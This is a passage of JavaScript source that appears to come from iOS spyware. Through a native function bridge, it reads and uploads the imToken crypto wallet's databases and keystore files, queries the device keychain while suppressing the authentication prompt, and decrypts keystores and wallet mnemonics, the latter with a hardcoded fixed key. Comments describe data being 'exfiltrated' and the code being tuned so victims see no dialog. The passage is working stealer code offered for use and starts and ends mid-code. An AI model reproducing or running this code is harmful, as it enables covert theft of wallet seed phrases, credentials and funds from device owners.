null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tif (!keyBuf) { Native.callSymbol(\"free\", refBuf); return null; }\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t0, 0, 2, keyBuf, BigInt(keyBytes.length), 0n, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar counter = new Uint8Array(16);\n\t\tfor (var i = 0; i < 16 && i < ivBytes.length; i++) counter[i] = ivBytes[i];\n\t\tvar output = new Uint8Array(cipherBytes.length);\n\t\tfor (var off = 0; off < cipherBytes.length; off += 16) {\n\t\t\tvar ks = _aesEcbEncryptBlock(ref, counter);\n\t\t\tif (!ks) return null;\n\t\t\tvar remain = cipherBytes.length - off;\n\t\t\tvar len = remain < 16 ? remain : 16;\n\t\t\tfor (var j = 0; j < len; j++) output[off + j] = cipherBytes[off + j] ^ ks[j];\n\t\t\tfor (var ci = 15; ci >= 0; ci--) {\n\t\t\t\tcounter[ci] = (counter[ci] + 1) & 0xff;\n\t\t\t\tif (counter[ci] !== 0) break;\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _aesCbcDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tvar ivBuf = Native.callSymbol(\"malloc\", BigInt(ivBytes.length));\n\tif (!keyBuf || !ivBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (ivBuf) Native.callSymbol(\"free\", ivBuf);\n\t\tNative.callSymbol(\"free\", refBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tNative.write(ivBuf, ivBytes.buffer ? ivBytes.buffer : ivBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t1, 0, 0, keyBuf, BigInt(keyBytes.length), ivBuf, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", ivBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(cipherBytes.length));\n\t\tvar outBuf = Native.callSymbol(\"calloc\", 1n, BigInt(cipherBytes.length + 16));\n\t\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\t\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\t\treturn null;\n\t\t}\n\t\tNative.write(inBuf, cipherBytes.buffer ? cipherBytes.buffer : cipherBytes);\n\t\tNative.write64(writtenBuf, 0n);\n\t\trc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\t\tref, inBuf, BigInt(cipherBytes.length), outBuf, BigInt(cipherBytes.length + 16), writtenBuf));\n\t\tvar written = Number(Native.readPtr(writtenBuf));\n\t\tNative.callSymbol(\"free\", inBuf);\n\t\tNative.callSymbol(\"free\", writtenBuf);\n\t\tif (rc !== 0) { Native.callSymbol(\"free\", outBuf); return null; }\n\t\tvar result = new Uint8Array(Native.read(outBuf, written));\n\t\tNative.callSymbol(\"free\", outBuf);\n\t\treturn result;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _hexToBytes(hex) {\n\tvar bytes = new Uint8Array(hex.length / 2);\n\tfor (var i = 0; i < hex.length; i += 2) {\n\t\tbytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);\n\t}\n\treturn bytes;\n}\n\nfunction _bytesToHex(bytes) {\n\tvar hex = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\thex += (bytes[i] < 16 ? \"0\" : \"\") + bytes[i].toString(16);\n\t}\n\treturn hex;\n}\n\n// ============================================================================\n// RCTAsyncLocalStorage Reader\n// ============================================================================\n\nfunction _readAsyncStorageManifest(storagePath) {\n\tvar mpath = storagePath + \"/manifest.json\";\n\tvar bytes = _readFileBytes(mpath, 4 * 1024 * 1024);\n\tif (!bytes || bytes.length === 0) return null;\n\ttry {\n\t\tvar json = JSON.parse(_rawToStr(bytes));\n\t\tvar result = {};\n\t\tfor (var key in json) {\n\t\t\tif (!json.hasOwnProperty(key)) continue;\n\t\t\tvar val = json[key];\n\t\t\tif (typeof val === \"string\") {\n\t\t\t\tresult[key] = val;\n\t\t\t} else if (val && typeof val === \"object\") {\n\t\t\t\tvar fpath = storagePath + \"/\" + key;\n\t\t\t\tvar fb = _readFileBytes(fpath, 8 * 1024 * 1024);\n\t\t\t\tif (fb && fb.length > 0) result[key] = _rawToStr(fb);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t} catch (e) { return null; }\n}\n\nfunction _readAsyncStorageSqlite(storagePath) {\n\tvar dbNames = [\"RCTAsyncLocalStorage_V1\", \"asyncstorage.db\", \"RCTAsyncLocalStorage\"];\n\tvar result = null;\n\tfor (var di = 0; di < dbNames.length; di++) {\n\t\tvar dbPath = storagePath + \"/\" + dbNames[di];\n\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) {\n\t\t\tdbPath = storagePath.replace(/\\/RCTAsyncLocalStorage_V1$/, \"\") + \"/\" + dbNames[di];\n\t\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) continue;\n\t\t}\n\t\tvar tables = _sqliteQuery(dbPath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (!tables || !tables.rows.length) continue;\n\t\tvar tableName = null;\n\t\tfor (var ti = 0; ti < tables.rows.length; ti++) {\n\t\t\tvar tn = tables.rows[ti].name;\n\t\t\tif (tn === \"catalystLocalStorage\" || tn === \"key_value\" ||\n\t\t\t\ttn === \"keyvaluestore\" || tn === \"cache\") {\n\t\t\t\ttableName = tn;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!tableName) tableName = tables.rows[0].name;\n\t\tvar data = _sqliteQuery(dbPath, \"SELECT * FROM \\\"\" + tableName + \"\\\"\");\n\t\tif (!data || !data.rows.length) continue;\n\t\tresult = {};\n\t\tvar kCol = data.columns.indexOf(\"key\") >= 0 ? \"key\" : data.columns[0];\n\t\tvar vCol = data.columns.indexOf(\"value\") >= 0 ? \"value\" : data.columns[1];\n\t\tfor (var ri = 0; ri < data.rows.length; ri++) {\n\t\t\tresult[data.rows[ri][kCol]] = data.rows[ri][vCol];\n\t\t}\n\t\tbreak;\n\t}\n\treturn result;\n}\n\nfunction _readAsyncStorage(containerPath, subPath) {\n\tvar storagePath = containerPath + \"/\" + subPath;\n\tvar st = _statFile(storagePath);\n\tif (!st) return null;\n\tif (st.isDir) {\n\t\tvar res = _readAsyncStorageManifest(storagePath);\n\t\tif (res) return res;\n\t\treturn _readAsyncStorageSqlite(storagePath);\n\t}\n\tif (st.isFile) {\n\t\tvar r = _sqliteQuery(storagePath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (r && r.rows.length) {\n\t\t\tvar result = {};\n\t\t\tfor (var ti = 0; ti < r.rows.length; ti++) {\n\t\t\t\tvar d = _sqliteQuery(storagePath, \"SELECT * FROM \\\"\" + r.rows[ti].name + \"\\\"\");\n\t\t\t\tif (!d || !d.rows.length) continue;\n\t\t\t\tvar kCol = d.columns.indexOf(\"key\") >= 0 ? \"key\" : d.columns[0];\n\t\t\t\tvar vCol = d.columns.indexOf(\"value\") >= 0 ? \"value\" : d.columns[1];\n\t\t\t\tfor (var ri = 0; ri < d.rows.length; ri++) {\n\t\t\t\t\tresult[d.rows[ri][kCol]] = d.rows[ri][vCol];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn null;\n}\n\n// ============================================================================\n// Keystore V3 Decryption (scrypt/PBKDF2 + AES-CTR)\n// ============================================================================\n\nfunction _decryptKeystoreV3(crypto, password) {\n\tif (!crypto || !password) return null;\n\tvar kdfparams = crypto.kdfparams;\n\tvar cipherparams = crypto.cipherparams;\n\tvar ciphertextHex = crypto.ciphertext;\n\tif (!kdfparams || !cipherparams || !ciphertextHex) return null;\n\n\tvar salt = _hexToBytes(kdfparams.salt);\n\tvar dkLen = kdfparams.dklen || 32;\n\tvar derivedKey = null;\n\n\tif (crypto.kdf === \"pbkdf2\") {\n\t\tvar iters = kdfparams.c || 262144;\n\t\tderivedKey = _pbkdf2(password, salt, iters, dkLen);\n\t} else {\n\t\treturn { error: \"scrypt_not_supported_on_device\", kdf: crypto.kdf };\n\t}\n\tif (!derivedKey) return { error: \"kdf_failed\" };\n\n\tvar ciphertext = _hexToBytes(ciphertextHex);\n\tvar iv = _hexToBytes(cipherparams.iv);\n\n\t// MAC verification: SHA256(derivedKey[16:32] + ciphertext) should match crypto.mac\n\tif (crypto.mac) {\n\t\tvar macInput = new Uint8Array(16 + ciphertext.length);\n\t\tmacInput.set(derivedKey.slice(16, 32), 0);\n\t\tmacInput.set(ciphertext, 16);\n\t\tvar computedMac = _sha256(macInput);\n\t\tif (computedMac && _bytesToHex(computedMac) !== crypto.mac) {\n\t\t\treturn { error: \"mac_mismatch\" };\n\t\t}\n\t}\n\n\tvar cipher = (crypto.cipher || \"aes-128-ctr\").toLowerCase();\n\tvar encKey = derivedKey.slice(0, 16);\n\tvar decrypted = null;\n\tif (cipher === \"aes-128-ctr\") {\n\t\tdecrypted = _aesCtrDecrypt(encKey, iv, ciphertext);\n\t} else if (cipher === \"aes-128-cbc\") {\n\t\tdecrypted = _aesCbcDecrypt(encKey, iv, ciphertext);\n\t}\n\tif (!decrypted) return { error: \"decrypt_failed\" };\n\n\ttry {\n\t\tvar str = \"\";\n\t\tfor (var i = 0; i < decrypted.length; i++) {\n\t\t\tif (decrypted[i] === 0) break;\n\t\t\tstr += String.fromCharCode(decrypted[i]);\n\t\t}\n\t\treturn { plaintext: str };\n\t} catch (e) { return { error: \"decode_failed: \" + e }; }\n}\n\n// EncryptedMessage format (fixed key AES-CTR)\nfunction _decryptEncryptedMessage(encObj, fixedKeyHex) {\n\tif (!encObj || !encObj.encStr || !encObj.nonce) return null;\n\tvar key = _hexToBytes(fixedKeyHex);\n\tvar iv = _hexToBytes(encObj.nonce);\n\tvar ciphertext = _hexToBytes(encObj.encStr);\n\tvar plainBytes = _aesCtrDecrypt(key, iv, ciphertext);\n\tif (!plainBytes) return null;\n\tvar str = \"\";\n\tfor (var i = 0; i < plainBytes.length; i++) {\n\t\tif (plainBytes[i] === 0) break;\n\t\tstr += String.fromCharCode(plainBytes[i]);\n\t}\n\treturn str;\n}\n\n// ============================================================================\n// Keychain Password Extraction (SecItemCopyMatching)\n// ============================================================================\n\nvar _securityLoaded = false;\nfunction _ensureSecurity() {\n\tif (_securityLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/Security.framework/Security\", 1);\n\tif (!h || h === 0n) return false;\n\t_securityLoaded = true;\n\treturn true;\n}\n\nfunction _cfStr(s) {\n\treturn Native.callSymbol(\"CFStringCreateWithCString\", 0n, s, 0x08000100);\n}\nfunction _cfRelease(ref) {\n\tif (ref && ref !== 0n) Native.callSymbol(\"CFRelease\", ref);\n}\nfunction _cfStringToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return null;\n\tvar cstr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstr && cstr !== 0n) {\n\t\treturn Native.readString(cstr, 4096).replace(/\\0/g, \"\");\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", 4096);\n\tif (!buf || buf === 0n) return null;\n\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 4096, 0x08000100)) {\n\t\tvar s = Native.readString(buf, 4096).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", buf);\n\t\treturn s;\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn null;\n}\nfunction _cfDataToBytes(cfData) {\n\tif (!cfData || cfData === 0n) return null;\n\tvar len = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (len <= 0) return null;\n\tvar ptr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!ptr || ptr === 0n) return null;\n\treturn new Uint8Array(Native.read(ptr, len));\n}\n\nfunction _searchKeychain(service, account, accessGroup) {\n\tif (!_ensureSecurity()) return null;\n\tNative.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\tvar kSecClass = Native.callSymbol(\"dlsym\", -2n, \"kSecClass\");\n\tvar kSecClassGenericPassword = Native.callSymbol(\"dlsym\", -2n, \"kSecClassGenericPassword\");\n\tvar kSecAttrService = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrService\");\n\tvar kSecAttrAccount = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrAccount\");\n\tvar kSecReturnData = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnData\");\n\tvar kSecReturnAttributes = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnAttributes\");\n\tvar kSecMatchLimit = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimit\");\n\tvar kSecMatchLimitAll = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimitAll\");\n\tvar kCFBooleanTrue = Native.callSymbol(\"dlsym\", -2n, \"kCFBooleanTrue\");\n\n\tif (!kSecClass || kSecClass === 0n) return null;\n\n\tvar svcCF = 0n, acctCF = 0n;\n\tvar _authUIKeyCF = 0n, _authUIValCF = 0n;\n\ttry {\n\t\tvar keys = [];\n\t\tvar vals = [];\n\n\t\tkeys.push(Native.readPtr(kSecClass));\n\t\tvals.push(Native.readPtr(kSecClassGenericPassword));\n\t\tkeys.push(Native.readPtr(kSecReturnData));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecReturnAttributes));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecMatchLimit));\n\t\tvals.push(Native.readPtr(kSecMatchLimitAll));\n\n\t\t// fix #3: skip auth UI so locked devices don't prompt \"Enter password for\n\t\t// SpringBoard\". Mirrors _secDumpClass. Auth-protected items are silently\n\t\t// skipped (errSecInteractionNotAllowed) instead of triggering a dialog.\n\t\t_authUIKeyCF = _cfStr(\"u_AuthUI\");\n\t\t_authUIValCF = _cfStr(\"u_AuthUISkip\");\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n && _authUIValCF && _authUIValCF !== 0n) {\n\t\t\tkeys.push(_authUIKeyCF);\n\t\t\tvals.push(_authUIValCF);\n\t\t}\n\n\t\tif (service) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrService));\n\t\t\tsvcCF = _cfStr(service);\n\t\t\tvals.push(svcCF);\n\t\t}\n\t\tif (account) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrAccount));\n\t\t\tacctCF = _cfStr(account);\n\t\t\tvals.push(acctCF);\n\t\t}\n\n\t\tvar nItems = keys.length;\n\t\tvar keysBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tvar valsBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tif (!keysBuf || keysBuf === 0n || !valsBuf || valsBuf === 0n) {\n\t\t\tif (keysBuf && keysBuf !== 0n) Native.callSymbol(\"free\", keysBuf);\n\t\t\tif (valsBuf && valsBuf !== 0n) Native.callSymbol(\"free\", valsBuf);\n\t\t\treturn null;\n\t\t}\n\t\tfor (var i = 0; i < nItems; i++) {\n\t\t\tNative.write64(keysBuf + BigInt(i * 8), keys[i]);\n\t\t\tNative.write64(valsBuf + BigInt(i * 8), vals[i]);\n\t\t}\n\n\t\tvar queryDict = Native.callSymbol(\"CFDictionaryCreate\", 0n,\n\t\t\tkeysBuf, valsBuf, nItems, 0n, 0n);\n\t\tNative.callSymbol(\"free\", keysBuf);\n\t\tNative.callSymbol(\"free\", valsBuf);\n\n\t\tif (!queryDict || queryDict === 0n) return null;\n\n\t\tvar resultPtr = Native.callSymbol(\"malloc\", 8);\n\t\tNative.write64(resultPtr, 0n);\n\t\tvar status = Number(Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr));\n\t\tvar resultRef = Native.readPtr(resultPtr);\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t\t_cfRelease(queryDict);\n\n\t\tif (status !== 0 || !resultRef || resultRef === 0n) return null;\n\n\t\tvar results = [];\n\t\ttry {\n\t\t\tvar count = Number(Native.callSymbol(\"CFArrayGetCount\", resultRef));\n\t\t\tvar kSecValueData = Native.callSymbol(\"dlsym\", -2n, \"kSecValueData\");\n\t\t\tvar kSecValueDataVal = kSecValueData && kSecValueData !== 0n ? Native.readPtr(kSecValueData) : 0n;\n\t\t\tvar svcKeyVal = Native.readPtr(kSecAttrService);\n\t\t\tvar acctKeyVal = Native.readPtr(kSecAttrAccount);\n\n\t\t\tfor (var idx = 0; idx < count && idx < 50; idx++) {\n\t\t\t\tvar item = Native.callSymbol(\"CFArrayGetValueAtIndex\", resultRef, idx);\n\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\ttry {\n\t\t\t\t\tvar entry = {};\n\t\t\t\t\tvar sv = Native.callSymbol(\"CFDictionaryGetValue\", item, svcKeyVal);\n\t\t\t\t\tif (sv && sv !== 0n) entry.service = _cfStringToJS(sv);\n\t\t\t\t\tvar av = Native.callSymbol(\"CFDictionaryGetValue\", item, acctKeyVal);\n\t\t\t\t\tif (av && av !== 0n) entry.account = _cfStringToJS(av);\n\t\t\t\t\tif (kSecValueDataVal && kSecValueDataVal !== 0n) {\n\t\t\t\t\t\tvar dv = Native.callSymbol(\"CFDictionaryGetValue\", item, kSecValueDataVal);\n\t\t\t\t\t\tif (dv && dv !== 0n) {\n\t\t\t\t\t\t\tvar dataBytes = _cfDataToBytes(dv);\n\t\t\t\t\t\t\tif (dataBytes) {\n\t\t\t\t\t\t\t\tvar dataStr = \"\";\n\t\t\t\t\t\t\t\tfor (var di = 0; di < dataBytes.length; di++)\n\t\t\t\t\t\t\t\t\tdataStr += String.fromCharCode(dataBytes[di]);\n\t\t\t\t\t\t\t\tentry.data = dataStr;\n\t\t\t\t\t\t\t\tentry.data_hex = _bytesToHex(dataBytes);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresults.push(entry);\n\t\t\t\t} catch (itemErr) {}\n\t\t\t}\n\t\t} finally { _cfRelease(resultRef); }\n\t\treturn results;\n\t} finally {\n\t\tif (svcCF && svcCF !== 0n) _cfRelease(svcCF);\n\t\tif (acctCF && acctCF !== 0n) _cfRelease(acctCF);\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n) _cfRelease(_authUIKeyCF);\n\t\tif (_authUIValCF && _authUIValCF !== 0n) _cfRelease(_authUIValCF);\n\t}\n}\n\nfunction _findImtokenKeychainPassword() {\n\t// fix #3b: DISABLED. _searchKeychain queries imToken-specific services with\n\t// kSecReturnData=true. On iOS 18.6, items protected by SecAccessControl\n\t// (biometricCurrentSet / devicePasscode) appear to bypass u_AuthUISkip and\n\t// trigger a \"Enter password for SpringBoard\" prompt even on locked devices,\n\t// while _secDumpClass (attributes-only, no specific service) stays silent\n\t// (-25300). The imToken keystore files are still exfiltrated from the sandbox\n\t// (the valuable data); only the keychain-password decryption attempt is\n\t// skipped. Phase 2 sqlite pipeline remains the real keychain decryption path.\n\treturn [];\n}\n\n// ============================================================================\n// imToken Wallet Extraction\n// ============================================================================\n\nfunction handleWalletExtract(cmd) {\n\tvar p = cmd.params || {};\n\tvar walletType = p.wallet_type || \"imtoken\";\n\tvar startMs = Date.now();\n\n\tif (walletType === \"imtoken\") {\n\t\t_extractImtoken(cmd, p, startMs);\n\t} else {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"unsupported wallet_type: \" + walletType,\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t}\n}\n\nfunction _extractImtoken(cmd, p, startMs) {\n\ttry {\n\t\tvar kcBytes = _readFileBytes(\"/tmp/imtoken_keychain.json\", 2 * 1024 * 1024);\n\t\tif (kcBytes && kcBytes.byteLength > 10) {\n\t\t\tsendResult(cmd.command_id, bytesToBase64(kcBytes),\n\t\t\t\t\"imtoken_keychain.json\", \"imtoken_keychain\");\n\t\t}\n\t} catch(e) {}\n\n\tvar bundleId = \"im.token.app\";\n\tvar containerPath = _findAppContainer(bundleId);\n\tif (!containerPath) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"imToken container not found\",\n\t\t\twallet_type: \"imtoken\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t\treturn;\n\t}\n\n\tvar storageSub = \"Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1\";\n\tvar data = _readAsyncStorage(containerPath, storageSub);\n\tif (!data) {\n\t\tvar altSub = \"Documents/RCTAsyncLocalStorage_V1\";\n\t\tdata = _readAsyncStorage(containerPath, altSub);\n\t}\n\n\tvar result = {\n\t\tstatus: \"success\",\n\t\twallet_type: \"imtoken\",\n\t\tcontainer: containerPath,\n\t\twallets: [],\n\t\tassets: [],\n\t\traw_keys: [],\n\t\trealm_files: [],\n\t\twallet_dir_files: [],\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_extract\"\n\t};\n\n\t// --- Phase 1: Realm database extraction (primary wallet storage) ---\n\t// imToken stores Realm in Documents/ (primary) or Library/Application Support/\n\tvar realmUploaded = false;\n\tvar realmSearchDirs = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var rdi = 0; rdi < realmSearchDirs.length; rdi++) {\n\t\tif (realmUploaded) break;\n\t\tvar realmDir = realmSearchDirs[rdi];\n\t\ttry {\n\t\t\tvar realmPath = realmDir + \"/default.realm\";\n\t\t\tvar realmSt = _statFile(realmPath);\n\t\t\tif (realmSt && realmSt.isFile && realmSt.size > 0) {\n\t\t\t\tresult.realm_files.push({\n\t\t\t\t\tpath: realmPath, size: realmSt.size\n\t\t\t\t});\n\t\t\t\tvar realmMaxSz = 16 * 1024 * 1024;\n\t\t\t\tif (realmSt.size <= realmMaxSz) {\n\t\t\t\t\tvar realmData = readFileB64(realmPath, realmMaxSz);\n\t\t\t\t\tif (realmData) {\n\t\t\t\t\t\tsendResult(cmd.command_id, realmData.b64,\n\t\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\t\trealmUploaded = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsendFileChunked(cmd.command_id, realmPath,\n\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\trealmUploaded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (realmErr) {\n\t\t\tresult.realm_error = String(realmErr);\n\t\t}\n\t}\n\n\t// --- Phase 2: Scan walletsV2/ and wallets/ directories for keystore files ---\n\t// These dirs can be in Documents/ or Library/Application Support/im.token.app/\n\tvar walletDirs = [];\n\tvar walletSearchBases = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var wb = 0; wb < walletSearchBases.length; wb++) {\n\t\tvar wbDir = walletSearchBases[wb];\n\t\tvar v2 = wbDir + \"/walletsV2\";\n\t\tvar v1 = wbDir + \"/wallets\";\n\t\tif (_statFile(v2)) walletDirs.push(v2);\n\t\tif (_statFile(v1)) walletDirs.push(v1);\n\t}\n\n\t// Keychain password for decryption attempts\n\tvar keychainPassword = null;\n\tresult.keychain_items = [];\n\ttry {\n\t\tvar keychainItems = _findImtokenKeychainPassword();\n\t\tif (keychainItems && keychainItems.length > 0) {\n\t\t\tfor (var ki = 0; ki < keychainItems.length; ki++) {\n\t\t\t\tresult.keychain_items.push(keychainItems[ki]);\n\t\t\t\tif (!keychainPassword && keychainItems[ki].data &&\n\t\t\t\t\tkeychainItems[ki].data.length >= 4) {\n\t\t\t\t\tkeychainPassword = keychainItems[ki].data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (kcErr) {\n\t\tresult.keychain_error = String(kcErr);\n\t}\n\tvar password = p.password || keychainPassword;\n\n\tfor (var di = 0; di < walletDirs.length; di++) {\n\t\tvar wdir = walletDirs[di];\n\t\tvar wdirSt = _statFile(wdir);\n\t\tif (!wdirSt || !wdirSt.isDir) continue;\n\t\tvar entries = listDir(wdir);\n\t\tfor (var ei = 0; ei < entries.length; ei++) {\n\t\t\tvar ent = entries[ei];\n\t\t\tvar entPath = wdir + \"/\" + ent.name;\n\t\t\tif (ent.type === \"file\") {\n\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\tdir: di === 0 ? \"walletsV2\" : \"wallets\",\n\t\t\t\t\tname: ent.name\n\t\t\t\t});\n\t\t\t\tvar entSt = _statFile(entPath);\n\t\t\t\tif (entSt && entSt.size > 0 && entSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\tvar fb64 = readFileB64(entPath, 4 * 1024 * 1024);\n\t\t\t\t\tif (fb64) {\n\t\t\t\t\t\tvar fname = (di === 0 ? \"walletsV2_\" : \"wallets_\") + ent.name;\n\t\t\t\t\t\tsendResult(cmd.command_id, fb64.b64,\n\t\t\t\t\t\t\tfname, \"wallet_extract\");\n\t\t\t\t\t}\n\t\t\t\t\t// Parse JSON wallet files and attempt decryption\n\t\t\t\t\tif (ent.name.endsWith(\".json\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tvar fileBytes = _readFileBytes(entPath, 4 * 1024 * 1024);\n\t\t\t\t\t\t\tif (fileBytes) {\n\t\t\t\t\t\t\t\tvar w = JSON.parse(_rawToStr(fileBytes));\n\t\t\t\t\t\t\t\tvar walletInfo = {\n\t\t\t\t\t\t\t\t\tid: w.id || ent.name.replace(\".json\", \"\"),\n\t\t\t\t\t\t\t\t\tname: (w.imTokenMeta && w.imTokenMeta.name) || \"\",\n\t\t\t\t\t\t\t\t\tsource: (w.imTokenMeta && w.imTokenMeta.source) || \"\",\n\t\t\t\t\t\t\t\t\tnetwork: (w.imTokenMeta && w.imTokenMeta.network) || \"\",\n\t\t\t\t\t\t\t\t\tversion: w.version || 0,\n\t\t\t\t\t\t\t\t\tfrom_dir: di === 0 ? \"walletsV2\" : \"wallets\"\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\tif (w.crypto) {\n\t\t\t\t\t\t\t\t\twalletInfo.kdf = w.crypto.kdf || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.cipher = w.crypto.cipher || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.keystore_present = true;\n\t\t\t\t\t\t\t\t\tif (password) {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(w.crypto, password);\n\t\t\t\t\t\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} catch (decErr) {\n\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_error = String(decErr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decOrig = _decryptEncryptedMessage(w.encOriginal, fixedKey);\n\t\t\t\t\t\t\t\t\t\tif (decOrig) walletInfo.original_fixed_key = decOrig;\n\t\t\t\t\t\t\t\t\t} catch (origErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_error = String(origErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decMnem = _decryptEncryptedMessage(w.encMnemonic, fixedKey2);\n\t\t\t\t\t\t\t\t\t\tif (decMnem) walletInfo.mnemonic_fixed_key = decMnem;\n\t\t\t\t\t\t\t\t\t} catch (mnemErr) 